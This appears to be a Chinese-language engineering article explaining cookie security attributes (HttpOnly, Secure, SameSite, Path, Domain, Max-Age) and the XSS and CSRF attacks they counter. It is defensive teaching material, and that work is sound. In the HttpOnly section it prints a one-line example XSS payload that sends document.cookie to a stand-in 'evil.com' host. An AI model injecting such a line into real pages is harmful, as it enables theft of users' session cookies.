在 Web 安全体系中,Cookie 是一个看似简单、却极其关键的组件。它既是登录态、会话管理的核心载体,也是 XSS、CSRF 等攻击最常见的突破口之一。
很多安全事故并不是因为“用了 Cookie”,而是没有正确使用 Cookie 的安全机制。
本文从工程视角出发,系统梳理浏览器 Cookie 的所有关键安全机制,结合攻击模型解释每一个属性存在的真实原因,帮助你在实际开发中写出“不容易出事”的 Cookie 代码。
HTTP 是无状态协议,Cookie 的出现,是为了解决一个根本问题:
服务器如何识别“这是同一个用户”?
Cookie 的核心特性只有三点:
正是这三点,让 Cookie 成为身份凭证,也同时成为攻击目标。
在理解安全属性之前,先明确 Cookie 在现实中会被如何攻击:
攻击者通过注入 JavaScript,直接读取 document.cookie。
浏览器会在“你不知情的情况下”,自动携带 Cookie 发请求。
在 HTTP 或弱加密场景下,Cookie 可能被窃听或篡改。
Cookie 生命周期或作用域设置不当,导致登录态被复用。
所有 Cookie 安全属性,都是为了压制这些攻击面而设计的。
一个完整、安全的 Cookie,往往至少包含以下属性组合:
Set-Cookie: session_id=abc123;
HttpOnly;
Secure;
SameSite=Lax;
Path=/;
Max-Age=3600
下面逐个拆解这些属性的真实意义。
HttpOnly 是 Cookie 的一个安全属性,用来禁止 JavaScript 访问 Cookie。
一旦设置,该 Cookie 将无法通过 document.cookie 被读取、修改或删除。
Set-Cookie: session_id=abc123; HttpOnly
浏览器层面的行为是明确的:
HttpOnly 的设计目标非常明确:对抗 XSS 攻击中的 Cookie 窃取行为。
// 恶意脚本
fetch("https://evil.com/log?c=" + document.cookie);
一旦页面存在 XSS 漏洞,攻击者可以直接获取登录态 Cookie。
document.cookie 中 不会出现该 CookieHttpOnly 只解决“读取”问题,不解决“使用”问题。
| 场景 | 是否受 HttpOnly 保护 | 说明 |
|---|---|---|
| XSS 读取 Cookie | ✅ | JS 无法访问 |
| XSS 发请求(自动带 Cookie) | ❌ | 浏览器仍会携带 Cookie |
| CSRF 攻击 | ❌ | Cookie 会自动发送 |
换句话说:
HttpOnly 是“防偷看”,不是“防借用”。
Secure 属性表示:
Cookie 仅在 HTTPS 请求中发送,HTTP 请求一律不携带。
Set-Cookie: session_id=abc123; Secure
这是浏览器层面的硬性规则,不受前端或后端逻辑影响。
Secure 的核心目标是:防止 Cookie 在传输过程中被窃听或篡改。
http://example.com在现代浏览器中:
SameSite=None 必须配合 SecureSet-Cookie: id=123; SameSite=None
# 会被浏览器丢弃
SameSite 是 Cookie 的一个安全属性,用来限制跨站请求时 Cookie 是否被携带,核心目标是防范 CSRF(跨站请求伪造)攻击。
它有三个取值:
Strict:仅在同站请求时携带Lax:宽松模式,部分跨站请求可携带None:不限制,允许跨站携带(必须配合 Secure)Chrome 80+ 开始,SameSite=Lax 是浏览器默认策略,其规则如下:
假设 Cookie 设置如下:
Set-Cookie: sessionId=123; SameSite=Lax;
| 场景 | 是否携带 Cookie | 说明 |
|---|---|---|
a.com → a.com/api(同站 GET) | ✅ | 同站请求 |
a.com 表单 POST 到自身 | ✅ | 同站请求 |
b.com 点击链接跳转到 a.com | ✅ | 顶级导航 GET |
b.com AJAX GET a.com/api | ❌ | 跨站 AJAX |
b.com 表单 POST 到 a.com | ❌ | 跨站非 GET |
SameSite=LaxStrictNone + SecureSet-Cookie: token=abc; Path=/api
规则很简单:
/api 开头时才携带Path 越精确,攻击面越小
Set-Cookie: uid=1; Domain=.example.com
www.example.comapi.example.comadmin.example.com都会收到该 Cookie。
风险在于: 任何一个子域被攻破,Cookie 全部失守。
Expires:绝对时间,受客户端时间影响Max-Age:相对秒数,浏览器原生支持,优先级更高Set-Cookie: session=abc; Max-Age=1800
以下做法极其危险,但现实中非常常见:
正确原则只有一句:
Cookie 只能存“引用”,不能存“事实”
Set-Cookie: session_id=RANDOM;
HttpOnly;
Secure;
SameSite=Lax;
Path=/;
Max-Age=1800
浏览器正在持续削弱 Cookie 的滥用能力:
这意味着:
未来 Cookie 更安全,但更“难用”
理解底层安全机制,才能跟上这些变化。